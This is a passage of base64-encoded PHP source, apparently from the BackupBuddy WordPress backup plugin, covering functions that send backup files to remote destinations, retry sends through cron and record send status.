NpdGV1cmwgKTsgLy8gU3RyaXAgfi4KCQlyZXR1cm4gJHNpdGV1cmw7CgoJfSAvLyBFbmQgYmFja3VwX3ByZWZpeCgpLgoKCgkvKioKCSAqIFJldHVybnMgdHJ1ZSBpZiByZXNlbmRpbmcgb3IgZmFsc2UgaWYgcmV0cnkgbGltaXQgYWxyZWFkeSBtZXQuCgkgKgoJICogQHBhcmFtIG9iamVjdCAkZmlsZW9wdGlvbnNfb2JqICBGaWxlIE9wdGlvbnMgb2JqZWN0LiAocGFzc2VkIGJ5IHJlZmVyZW5jZSB1bm5lY2Vzc2FyaWx5Li4uKS4KCSAqIEBwYXJhbSBpbnQgICAgJHNlbmRfaWQgICAgICAgICAgU2VuZCBJRC4KCSAqIEBwYXJhbSBpbnQgICAgJG1heGltdW1fcmV0cmllcyAgTWF4aW11bSBudW5iZXIgb2YgcmV0cmllcy4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIElmIHN1Y2Nlc3NmdWwuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVtb3RlU2VuZFJldHJ5KCAmJGZpbGVvcHRpb25zX29iaiwgJHNlbmRfaWQsICRtYXhpbXVtX3JldHJpZXMgPSAxICkgewoJCS8vIERlc3RpbmF0aW9uIHNldHRpbmdzIGFyZSBzdG9yZWQgZm9yIHRoaXMgZGVzdGluYXRpb24gc28gc2VlIGlmIHdlIGNhbiByZXRyeSBzZW5kaW5nIGl0IChpZiBzZXR0aW5ncyBwZXJtaXQpLgoJCWlmICggaXNzZXQoICRmaWxlb3B0aW9uc19vYmotPm9wdGlvbnNbJ2Rlc3RpbmF0aW9uU2V0dGluZ3MnXSApICYmICggY291bnQoICRmaWxlb3B0aW9uc19vYmotPm9wdGlvbnNbJ2Rlc3RpbmF0aW9uU2V0dGluZ3MnXSApID4gMCApICkgewoKCQkJJGRlc3RpbmF0aW9uX3NldHRpbmdzID0gJGZpbGVvcHRpb25zX29iai0+b3B0aW9uc1snZGVzdGluYXRpb25TZXR0aW5ncyddOyAvLyB0aGVzZSBhcmUgdGhlIGxhdGVzdDsgaW5jbHVkZXMgaW5mbyBuZWVkZWQgZm9yIGNodW5raW5nIHRvby4KCQkJJGRlbGV0ZV9hZnRlciAgICAgICAgID0gJGZpbGVvcHRpb25zX29iai0+b3B0aW9uc1snZGVsZXRlQWZ0ZXInXTsKCQkJJHJldHJpZXMgICAgICAgICAgICAgID0gJGZpbGVvcHRpb25zX29iai0+b3B0aW9uc1sncmV0cmllcyddOwoJCQkkZmlsZSAgICAgICAgICAgICAgICAgPSAkZmlsZW9wdGlvbnNfb2JqLT5vcHRpb25zWydmaWxlJ107CgoJCQlpZiAoICRyZXRyaWVzIDwgJG1heGltdW1fcmV0cmllcyApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1RpbWVkIG91dCByZW1vdGUgc2VuZCBoYXMgbm90IGV4Y2VlZGVkIHJldHJ5IGxpbWl0IChgJyAuICRtYXhpbXVtX3JldHJpZXMgLiAnYCkuIFRyeWluZyB0byBzZW5kIGFnYWluLicgKTsKCgkJCQkvLyBTY2hlZHVsZSBzZW5kIG9mIHRoaXMgcGllY2UuCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTY2hlZHVsaW5nIGNyb24gdG8gc2VuZCB0byB0aGlzIHJlbW90ZSBkZXN0aW5hdGlvbi4uLicgKTsKCQkJCSRjcm9uX2FyZ3MgPSBhcnJheSgKCQkJCQkkZGVzdGluYXRpb25fc2V0dGluZ3MsCgkJCQkJJGZpbGUsCgkJCQkJJHNlbmRfaWQsCgkJCQkJJGRlbGV0ZV9hZnRlciwKCQkJCQknJywgLy8gaWRlbnRpZmllci4KCQkJCQl0cnVlLCAvLyBpc1JldHJ5LgoJCQkJKTsKCgkJCQkkc2NoZWR1bGVfcmVzdWx0ID0gYmFja3VwYnVkZHlfY29yZTo6c2NoZWR1bGVfc2luZ2xlX2V2ZW50KCB0aW1lKCksICdkZXN0aW5hdGlvbl9zZW5kJywgJGNyb25fYXJncyApOwoJCQkJaWYgKCBmYWxzZSA9PT0gJHNjaGVkdWxlX3Jlc3VsdCApIHsKCQkJCQkkZXJyb3IgPSBlc2NfaHRtbF9fKCAnRXJyb3Igc2NoZWR1bGluZyBmaWxlIHRyYW5zZmVyLiBQbGVhc2UgY2hlY2sgeW91ciBCYWNrdXBCdWRkeSBlcnJvciBsb2cgZm9yIGRldGFpbHMuIEEgcGx1Z2luIG1heSBoYXZlIHByZXZlbnRlZCBzY2hlZHVsaW5nIG9yIHRoZSBkYXRhYmFzZSByZWplY3RlZCBpdC4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAkZXJyb3IgKTsKCQkJCQllY2hvICRlcnJvcjsKCQkJCX0gZWxzZSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQ3JvbiB0byBzZW5kIHRvIHJlbW90ZSBkZXN0aW5hdGlvbiBzY2hlZHVsZWQuJyApOwoJCQkJfQoJCQkJaWYgKCAnMScgIT0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydza2lwX3NwYXduX2Nyb25fY2FsbCddICkgewoJCQkJCXVwZGF0ZV9vcHRpb24oICdfdHJhbnNpZW50X2RvaW5nX2Nyb24nLCAwICk7IC8vIFByZXZlbnQgY3Jvbi1ibG9ja2luZyBmb3IgbmV4dCBpdGVtLgoJCQkJCXNwYXduX2Nyb24oIHRpbWUoKSArIDE1MCApOyAvLyBBZGRzID4gNjAgc2Vjb25kcyB0byBnZXQgYXJvdW5kIG9uY2UgcGVyIG1pbnV0ZSBjcm9uIHJ1bm5pbmcgbGltaXQuCgkJCQl9CgoJCQkJcmV0dXJuIHRydWU7CgkJCX0gZWxzZSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdNYXhpbXVtIHJlbW90ZSBzZW5kIHRpbWVvdXQgcmV0cmllcyAoYCcgLiAkbWF4aW11bV9yZXRyaWVzIC4gJ2ApIHBhc3NlZCB0byBmdW5jdGlvbiBtZXQuIE5vdCByZXNlbmRpbmcuJyApOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfQoJfSAvLyBFbmQgcmVtb3RlU2VuZFJldHJ5KCkuCgoKCS8qKgoJICogR2V0IGRlZmF1bHQgYXJyYXkgdmFsdWVzIGZvciB0aGUgcmVtb3RlX3NlbmRzIGZpbGVvcHRpb25zIGZpbGVzLgoJICoKCSAqIEByZXR1cm4gYXJyYXkgIFJlbW90ZSBzZW5kIGRlZmF1bHRzLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldF9yZW1vdGVfc2VuZF9kZWZhdWx0cygpIHsKCQlyZXR1cm4gYXJyYXkoCgkJCSdkZXN0aW5hdGlvbicgICAgICAgICA9PiAwLAoJCQknZmlsZScgICAgICAgICAgICAgICAgPT4gJycsCgkJCSdmaWxlX3NpemUnICAgICAgICAgICA9PiAwLAoJCQkndHJpZ2dlcicgICAgICAgICAgICAgPT4gJycsICAgICAgICAgICAgICAgICAgICAgLy8gV2hhdCB0cmlnZ2VyZWQgdGhpcyBiYWNrdXAuIFZhbGlkIHZhbHVlczogc2NoZWR1bGVkLCBtYW51YWwuCgkJCSdzZW5kX2ltcG9ydGJ1ZGR5JyAgICA9PiBmYWxzZSwKCQkJJ3N0YXJ0X3RpbWUnICAgICAgICAgID0+IHRpbWUoKSwKCQkJJ2ZpbmlzaF90aW1lJyAgICAgICAgID0+IDAsCgkJCSd1cGRhdGVfdGltZScgICAgICAgICA9PiB0aW1lKCksCgkJCSdzdGF0dXMnICAgICAgICAgICAgICA9PiAncnVubmluZycsICAvLyBzdWNjZXNzLCBmYWlsdXJlLCBydW5uaW5nLCB0aW1lb3V0IChkZWZhdWx0IGFzc3VtcHRpb24gaWYgdGhpcyBpcyBub3QgdXBkYXRlZCBpbiB0aGlzIFBIUCBsb2FkKS4KCQkJJ3dyaXRlX3NwZWVkJyAgICAgICAgID0+IDAsCgkJCSdkZXN0aW5hdGlvblNldHRpbmdzJyA9PiBhcnJheSgpLAoJCQknc2VuZElEJyAgICAgICAgICAgICAgPT4gJycsCgkJCSdkZWxldGVBZnRlcicgICAgICAgICA9PiBmYWxzZSwKCQkJJ3JldHJpZXMnICAgICAgICAgICAgID0+IDAsCgkJKTsKCX0gLy8gRW5kIGdldF9yZW1vdGVfc2VuZF9kZWZhdWx0cygpOwoKCgoJLyoqCgkgKiBTZW5kIFJlbW90ZSBEZXN0aW5hdGlvbi4KCSAqCgkgKiBAcGFyYW0gaW50ICAgICRkZXN0aW5hdGlvbl9pZCAgICAgICAgSUQgbnVtYmVyIChpbmRleCBvZiB0aGUgZGVzdGluYXRpb25zIGFycmF5KSB0byBzZW5kIGl0LgoJICogQHBhcmFtIHN0cmluZyAkZmlsZSAgICAgICAgICAgICAgICAgIEZ1bGwgZmlsZSBwYXRoIG9mIGZpbGUgdG8gc2VuZC4gTUFZIGJlIGFuIGFycmF5IG9mIGZpbGVzLgoJICogQHBhcmFtIHN0cmluZyAkdHJpZ2dlciAgICAgICAgICAgICAgIFdoYXQgdHJpZ2dlcmVkIHRoaXMgYmFja3VwLiBWYWxpZCB2YWx1ZXM6IHNjaGVkdWxlZCwgbWFudWFsLgoJICogQHBhcmFtIGJvb2wgICAkc2VuZF9pbXBvcnRidWRkeSAgICAgIFdoZXRoZXIgb3Igbm90IGltcG9ydGJ1ZGR5LnBocCBzaG91bGQgYWxzbyBiZSBzZW50IHdpdGggdGhlIGZpbGUgdG8gZGVzdGluYXRpb24uCgkgKiBAcGFyYW0gYm9vbCAgICRkZWxldGVfYWZ0ZXIgICAgICAgICAgV2hldGhlciBvciBub3QgdG8gZGVsZXRlIGFmdGVyIHNlbmQgc3VjY2VzcyBhZnRlciBUSElTIHNlbmQuCgkgKiBAcGFyYW0gc3RyaW5nICRpZGVudGlmaWVyICAgICAgICAgICAgSWRlbnRpZmllci4KCSAqIEBwYXJhbSBzdHJpbmcgJGRlc3RpbmF0aW9uX3NldHRpbmdzICBJZiBwYXNzZWQgdGhlbiB0aGlzIGFycmF5IGlzIHVzZWQgaW5zdGVhZCBvZiBncmFiYmluZyBmcm9tIHNldHRpbmdzLgoJICoKCSAqIEByZXR1cm4gYm9vbCAgU2VuZCBzdGF0dXMuIHRydWUgc3VjY2VzcywgZmFsc2UgZmFpbGVkLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHNlbmRfcmVtb3RlX2Rlc3RpbmF0aW9uKCAkZGVzdGluYXRpb25faWQsICRmaWxlLCAkdHJpZ2dlciA9ICcnLCAkc2VuZF9pbXBvcnRidWRkeSA9IGZhbHNlLCAkZGVsZXRlX2FmdGVyID0gZmFsc2UsICRpZGVudGlmaWVyID0gJycsICRkZXN0aW5hdGlvbl9zZXR0aW5ncyA9ICcnICkgewoKCQlpZiAoICEgaXNfYXJyYXkoICRmaWxlICkgKSB7CgkJCWlmICggISBmaWxlX2V4aXN0cyggJGZpbGUgKSApIHsKCQkJCS8vIENoZWNrIGlmIHV0ZjggZGVjb2RpbmcgdGhlIGZpbGVuYW1lIGhlbHBzIHVzIGZpbmQgaXQuCgkJCQkkdXRmX2RlY29kZWRfZmlsZW5hbWUgPSB1dGY4X2RlY29kZSggJGZpbGUgKTsKCQkJCWlmICggZmlsZV9leGlzdHMoICR1dGZfZGVjb2RlZF9maWxlbmFtZSApICkgewoJCQkJCSRmaWxlID0gJHV0Zl9kZWNvZGVkX2ZpbGVuYW1lOwoJCQkJfSBlbHNlIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzg1ODM0ODk3MzQ6IFVuYWJsZSB0byBzZW5kIGZpbGUgYCcgLiAkZmlsZSAuICdgIHRvIHJlbW90ZSBkZXN0aW5hdGlvbiBhcyBpdCBubyBsb25nZXIgZXhpc3RzLiBJdCBtYXkgaGF2ZSBiZWVuIGRlbGV0ZWQgb3IgcGVybWlzc2lvbnMgYXJlIGludmFsaWQuJyApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0KCQkJfQoJCX0KCgkJJG1pZ3JhdGlvbmtleV90cmFuc2llbnRfdGltZSA9IDYwICogNjAgKiAyNDsKCgkJaWYgKCAhIGlzX2FycmF5KCAkZmlsZSApICkgewoJCQlpZiAoICcnID09ICRmaWxlICkgewoJCQkJJGJhY2t1cF9maWxlX3NpemUgPSA1MDAwMDsgLy8gbm90IHN1cmUgd2h5IGFueXRoaW5nIGN1cnJlbnQgd291bGQgYmUgc2VuZGluZyBpbXBvcnRidWRkeSBidXQgTk9UIHNlbmRpbmcgYSBiYWNrdXAgYnV0IGp1c3QgaW4gY2FzZS4uLgoJCQl9IGVsc2UgewoJCQkJJGJhY2t1cF9maWxlX3NpemUgPSBmaWxlc2l6ZSggJGZpbGUgKTsKCQkJfQoJCX0gZWxzZSB7CgkJCSRiYWNrdXBfZmlsZV9zaXplID0gLTE7CgkJfQoKCQkvLyBHZW5lcmF0ZSByZW1vdGUgc2VuZCBJRCBmb3IgcmVmZXJlbmNlIGFuZCBhZGQgaXQgYXMgYSBuZXcgbG9nZ2luZyBzZXJpYWwgZm9yIGJldHRlciByZWNvcmRpbmcgZGV0YWlscy4KCQlpZiAoICcnID09ICRpZGVudGlmaWVyICkgewoJCQkkaWRlbnRpZmllciA9IHBiX2JhY2t1cGJ1ZGR5OjpyYW5kb21fc3RyaW5nKCAxMiApOwoJCX0KCgkJLy8gU2V0IG1pZ3JhdGlvbiBrZXkgZm9yIGxhdGVyIGRldGVybWluaW5nIGxhc3QgaW5pdGlhdGVkIG1pZ3JhdGlvbi4KCQlpZiAoICdtaWdyYXRpb24nID09ICR0cmlnZ2VyICkgewoJCQlzZXRfdHJhbnNpZW50KCAncGJfYmFja3VwYnVkZHlfbWlncmF0aW9ua2V5JywgJGlkZW50aWZpZXIsICRtaWdyYXRpb25rZXlfdHJhbnNpZW50X3RpbWUgKTsKCQl9CgoJCWlmICggISBpc19hcnJheSggJGZpbGUgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnU2VuZGluZyBmaWxlIGAnIC4gJGZpbGUgLiAnYCB0byByZW1vdGUgZGVzdGluYXRpb24gYCcgLiAkZGVzdGluYXRpb25faWQgLiAnYCB3aXRoIElEIGAnIC4gJGlkZW50aWZpZXIgLiAnYCB0cmlnZ2VyZWQgYnkgYCcgLiAkdHJpZ2dlciAuICdgLicgKTsKCQl9IGVsc2UgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTZW5kaW5nIG11bHRpcGxlIGZpbGVzICgnIC4gY291bnQoICRmaWxlICkgLiAnKSBpbiBzaW5nbGUgcGFzcyB0byByZW1vdGUgZGVzdGluYXRpb24gYCcgLiAkZGVzdGluYXRpb25faWQgLiAnYCB3aXRoIElEIGAnIC4gJGlkZW50aWZpZXIgLiAnYCB0cmlnZ2VyZWQgYnkgYCcgLiAkdHJpZ2dlciAuICdgLicgKTsKCQl9CgoJCXJlcXVpcmVfb25jZSBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvY2xhc3Nlcy9maWxlb3B0aW9ucy5waHAnOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0ZpbGVvcHRpb25zIGluc3RhbmNlICMzNS4nICk7CgkJJGZpbGVvcHRpb25zX29iaiA9IG5ldyBwYl9iYWNrdXBidWRkeV9maWxlb3B0aW9ucyggYmFja3VwYnVkZHlfY29yZTo6Z2V0TG9nRGlyZWN0b3J5KCkgLiAnZmlsZW9wdGlvbnMvc2VuZC0nIC4gJGlkZW50aWZpZXIgLiAnLnR4dCcsIGZhbHNlLCB0cnVlLCB0cnVlICk7CgkJJHJlc3VsdCAgICAgICAgICA9ICRmaWxlb3B0aW9uc19vYmotPmlzX29rKCk7CgkJaWYgKCB0cnVlICE9PSAkcmVzdWx0ICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCBfXyggJ0ZhdGFsIEVycm9yICM5MDM0IEEuIFVuYWJsZSB0byBhY2Nlc3MgZmlsZW9wdGlvbnMgZGF0YS4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICcgRXJyb3I6ICcgLiAkcmVzdWx0ICk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCSRmaWxlb3B0aW9ucyA9ICYkZmlsZW9wdGlvbnNfb2JqLT5vcHRpb25zOyAvLyBTZXQgcmVmZXJlbmNlLgoKCQkvLyBSZWNvcmQgc29tZSBzdGF0aXN0aWNzLgoJCSRmaWxlb3B0aW9ucyA9IGFycmF5X21lcmdlKAoJCQlzZWxmOjpnZXRfcmVtb3RlX3NlbmRfZGVmYXVsdHMoKSwKCQkJYXJyYXkoCgkJCQknZGVzdGluYXRpb24nICAgICAgPT4gJGRlc3RpbmF0aW9uX2lkLAoJCQkJJ2ZpbGUnICAgICAgICAgICAgID0+ICRmaWxlLAoJCQkJJ2ZpbGVfc2l6ZScgICAgICAgID0+ICRiYWNrdXBfZmlsZV9zaXplLAoJCQkJJ3RyaWdnZXInICAgICAgICAgID0+ICR0cmlnZ2VyLCAgICAgICAgICAgICAgICAgICAgICAgLy8gV2hhdCB0cmlnZ2VyZWQgdGhpcyBiYWNrdXAuIFZhbGlkIHZhbHVlczogc2NoZWR1bGVkLCBtYW51YWwuCgkJCQknc2VuZF9pbXBvcnRidWRkeScgPT4gJHNlbmRfaW1wb3J0YnVkZHksCgkJCQknc3RhcnRfdGltZScgICAgICAgPT4gdGltZSgpLAoJCQkJJ2ZpbmlzaF90aW1lJyAgICAgID0+IDAsCgkJCQknc3RhdHVzJyAgICAgICAgICAgPT4gJ3J1bm5pbmcnLCAgLy8gc3VjY2VzcywgZmFpbHVyZSwgcnVubmluZywgdGltZW91dCAoZGVmYXVsdCBhc3N1bXB0aW9uIGlmIHRoaXMgaXMgbm90IHVwZGF0ZWQgaW4gdGhpcyBQSFAgbG9hZCkuCgkJCQknd3JpdGVfc3BlZWQnICAgICAgPT4gMCwKCQkJKQoJCSk7CgkJcGJfYmFja3VwYnVkZHk6OnNhdmUoKTsKCgkJLy8gRGVzdGluYXRpb24gc2V0dGluZ3Mgd2VyZSBub3QgcGFzc2VkIHNvIGdldCB0aGVtIGJhc2VkIG9uIHRoZSBkZXN0aW5hdGlvbiBJRCBwcm92aWRlZC4KCQlpZiAoICEgaXNfYXJyYXkoICRkZXN0aW5hdGlvbl9zZXR0aW5ncyApICkgewoJCQkkZGVzdGluYXRpb25fc2V0dGluZ3MgPSAmcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydyZW1vdGVfZGVzdGluYXRpb25zJ11bICRkZXN0aW5hdGlvbl9pZCBdOwoJCX0KCgkJaWYgKCB0cnVlID09PSAkc2VuZF9pbXBvcnRidWRkeSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnR2VuZXJhdGluZyB0ZW1wb3JhcnkgaW1wb3J0YnVkZHkucGhwIGZpbGUgZm9yIHJlbW90ZSBzZW5kLicgKTsKCQkJcGJfYmFja3VwYnVkZHk6OmFudGlfZGlyZWN0b3J5X2Jyb3dzaW5nKCBiYWNrdXBidWRkeV9jb3JlOjpnZXRUZW1wRGlyZWN0b3J5KCksIGZhbHNlICk7CgkJCSRpbXBvcnRidWRkeV90ZW1wID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0VGVtcERpcmVjdG9yeSgpIC4gJ2ltcG9ydGJ1ZGR5LnBocCc7IC8vIEZ1bGwgcGF0aCAmIGZpbGVuYW1lIHRvIHRlbXBvcmFyeSBpbXBvcnRidWRkeS4KCQkJc2VsZjo6aW1wb3J0YnVkZHkoICRpbXBvcnRidWRkeV90ZW1wICk7IC8vIENyZWF0ZSB0ZW1wb3JhcnkgaW1wb3J0YnVkZHkuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0dlbmVyYXRlZCB0ZW1wb3JhcnkgaW1wb3J0YnVkZHkuJyApOwoJCQkkaW1wb3J0YnVkZHlfZmlsZSA9ICRpbXBvcnRidWRkeV90ZW1wOyAvLyBBZGQgaW1wb3J0YnVkZHkgZmlsZSB0byB0aGUgbGlzdCBvZiBmaWxlcyB0byBzZW5kLgoJCQkkc2VuZF9pbXBvcnRidWRkeSA9IHRydWU7IC8vIFRyYWNrIHRvIGRlbGV0ZSBhZnRlciBmaW5pc2hlZC4KCQl9IGVsc2UgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdOb3Qgc2VuZGluZyBpbXBvcnRidWRkeS4nICk7CgkJfQoKCQkvLyBDbGVhciBmaWxlb3B0aW9ucyBzbyBvdGhlciBzdHVmZiBjYW4gYWNjZXNzIGl0IGlmIG5lZWRlZC4KCQkkZmlsZW9wdGlvbnNfb2JqLT5zYXZlKCk7CgkJJGZpbGVvcHRpb25zX29iai0+dW5sb2NrKCk7CgkJdW5zZXQoICRmaWxlb3B0aW9uc19vYmogKTsKCgkJLy8gUGFzcyBvZmYgdG8gZGVzdGluYXRpb24gaGFuZGxlci4KCQlyZXF1aXJlX29uY2UgcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2Rlc3RpbmF0aW9ucy9ib290c3RyYXAucGhwJzsKCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQ2FsbGluZyBkZXN0aW5hdGlvbiBzZW5kKCkgZnVuY3Rpb24uJyApOwoJCSRzZW5kX3Jlc3VsdCA9IHBiX2JhY2t1cGJ1ZGR5X2Rlc3RpbmF0aW9uczo6c2VuZCggJGRlc3RpbmF0aW9uX3NldHRpbmdzLCAkZmlsZSwgJGlkZW50aWZpZXIsICRkZWxldGVfYWZ0ZXIgKTsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGaW5pc2hlZCBkZXN0aW5hdGlvbiBzZW5kKCkgZnVuY3Rpb24uJyApOwoKCQlpZiAoICEgZW1wdHkoICRzZW5kX2ltcG9ydGJ1ZGR5ICkgJiYgaXNfcmVhZGFibGUoICRpbXBvcnRidWRkeV9maWxlICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0NhbGxpbmcgZGVzdGluYXRpb24gc2VuZCgpIGZ1bmN0aW9uIGZvciBpbXBvcnRidWRkeS5waHAuJyApOwoJCQkkc2VuZF9yZXN1bHQgPSBwYl9iYWNrdXBidWRkeV9kZXN0aW5hdGlvbnM6OnNlbmQoICRkZXN0aW5hdGlvbl9zZXR0aW5ncywgJGltcG9ydGJ1ZGR5X2ZpbGUsICRpZGVudGlmaWVyLCAkZGVsZXRlX2FmdGVyICk7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0ZpbmlzaGVkIGRlc3RpbmF0aW9uIHNlbmQoKSBmdW5jdGlvbiBmb3IgaW1wb3J0YnVkZHkucGhwLicgKTsKCgkJfQoKCQlzZWxmOjpraWNrX2RiKCk7IC8vIEtpY2sgdGhlIGRhdGFiYXNlIHRvIG1ha2Ugc3VyZSBpdCBkaWRuJ3QgZ28gYXdheSwgcHJldmVudGluZyBvcHRpb25zIHNhdmluZy4KCgkJLy8gUmVsb2FkIGZpbGVvcHRpb25zLgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0Fib3V0IHRvIGxvYWQgZmlsZW9wdGlvbnMgZGF0YSBmb3Igc2F2aW5nIHNlbmQgc3RhdHVzLicgKTsKCQlyZXF1aXJlX29uY2UgcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2NsYXNzZXMvZmlsZW9wdGlvbnMucGhwJzsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGaWxlb3B0aW9ucyBpbnN0YW5jZSAjMzQuJyApOwoJCSRmaWxlb3B0aW9uc19vYmogPSBuZXcgcGJfYmFja3VwYnVkZHlfZmlsZW9wdGlvbnMoIGJhY2t1cGJ1ZGR5X2NvcmU6OmdldExvZ0RpcmVjdG9yeSgpIC4gJ2ZpbGVvcHRpb25zL3NlbmQtJyAuICRpZGVudGlmaWVyIC4gJy50eHQnLCBmYWxzZSwgZmFsc2UsIGZhbHNlICk7CgkJJHJlc3VsdCAgICAgICAgICA9ICRmaWxlb3B0aW9uc19vYmotPmlzX29rKCk7CgkJaWYgKCB0cnVlICE9PSAkcmVzdWx0ICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCBfXyggJ0ZhdGFsIEVycm9yICM5MDM0IEcuIFVuYWJsZSB0byBhY2Nlc3MgZmlsZW9wdGlvbnMgZGF0YS4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICcgRXJyb3I6ICcgLiAkcmVzdWx0ICk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRmlsZW9wdGlvbnMgZGF0YSBsb2FkZWQgZm9yIElEIGAnIC4gJGlkZW50aWZpZXIgLiAnYC4nICk7CgkJJGZpbGVvcHRpb25zID0gJiRmaWxlb3B0aW9uc19vYmotPm9wdGlvbnM7IC8vIFNldCByZWZlcmVuY2UuCgoJCS8vIFVwZGF0ZSBzdGF0cy4KCQkkZmlsZW9wdGlvbnNbICRpZGVudGlmaWVyIF1bJ2ZpbmlzaF90aW1lJ10gPSBtaWNyb3RpbWUoIHRydWUgKTsKCQlpZiAoIHRydWUgPT09ICRzZW5kX3Jlc3VsdCApIHsgLy8gc3VjY2VlZGVkLgoJCQkkZmlsZW9wdGlvbnNbJ3N0YXR1cyddICAgICAgPSAnc3VjY2Vzcyc7CgkJCSRmaWxlb3B0aW9uc1snZmluaXNoX3RpbWUnXSA9IG1pY3JvdGltZSggdHJ1ZSApOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdSZW1vdGUgc2VuZCBTVUNDRVNTLicgKTsKCQl9IGVsc2VpZiAoIGZhbHNlID09PSAkc2VuZF9yZXN1bHQgKSB7IC8vIGZhaWxlZC4KCQkJJGZpbGVvcHRpb25zWydzdGF0dXMnXSA9ICdmYWlsdXJlJzsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUmVtb3RlIHNlbmQgRkFJTFVSRS4nICk7CgkJfSBlbHNlaWYgKCBpc19hcnJheSggJHNlbmRfcmVzdWx0ICkgKSB7IC8vIEFycmF5IHNvIG11bHRpcGFydC4KCQkJJGZpbGVvcHRpb25zWydzdGF0dXMnXSAgICAgICAgICAgID0gJ211bHRpcGFydCc7CgkJCSRmaWxlb3B0aW9uc1snZmluaXNoX3RpbWUnXSAgICAgICA9IDA7CgkJCSRmaWxlb3B0aW9uc1snX211bHRpcGFydF9pZCddICAgICA9ICRzZW5kX3Jlc3VsdFswXTsKCQkJJGZpbGVvcHRpb25zWydfbXVsdGlwYXJ0X3N0YXR1cyddID0gJHNlbmRfcmVzdWx0WzFdOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdNdWx0aXBhcnQgc2VuZCBpbiBwcm9ncmVzcy4nICk7CgkJfSBlbHNlIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0Vycm9yICM1NDg1Nzg1NTc2NDYzLiBJbnZhbGlkIHN0YXR1cyBzZW5kIHJlc3VsdDogYCcgLiAkc2VuZF9yZXN1bHQgLiAnYC4nICk7CgkJfQoJCSRmaWxlb3B0aW9uc19vYmotPnNhdmUoKTsKCgkJLy8gSWYgd2Ugc2VudCBpbXBvcnRidWRkeSB0aGVuIGRlbGV0ZSB0aGUgbG9jYWwgY29weSB0byBjbGVhbiB1cC4KCQlpZiAoIGZhbHNlICE9PSAkc2VuZF9pbXBvcnRidWRkeSApIHsKCQkJQHVubGluayggJGltcG9ydGJ1ZGR5X3RlbXAgKTsgLy8gRGVsZXRlIHRlbXBvcmFyeSBpbXBvcnRidWRkeS4KCQl9CgoJCS8vIEFzIG9mIHY1LjA6IFBvc3Qtc2VuZCBkZWxldGlvbiBub3cgaGFuZGxlZCB3aXRoaW4gZGVzdGluYXRpb25zL2Jvb3RzdHJhcC5waHAgc2VuZCgpIHRvIHN1cHBvcnQgY2h1bmtlZCBzZW5kcy4KCQlyZXR1cm4gJHNlbmRfcmVzdWx0OwoKCX0gLy8gRW5kIHNlbmRfcmVtb3RlX2Rlc3RpbmF0aW9uKCkuCgoKCS8qKgoJICogU2VuZCBmaWxlKHMpIHRvIGEgZGVzdGluYXRpb24uIFBhc3MgZnVsbCBhcnJheSBvZiBkZXN0aW5hdGlvbiBzZXR0aW5ncy4KCSAqCgkgKiBAcGFyYW0gYXJyYXkgICRkZXN0aW5hdGlvbl9zZXR0aW5ncyAgQWxsIHNldHRpbmdzIGZvciB0aGlzIGRlc3RpbmF0aW9uIGZvciB0aGlzIGFjdGlvbi4KCSAqIEBwYXJhbSBhcn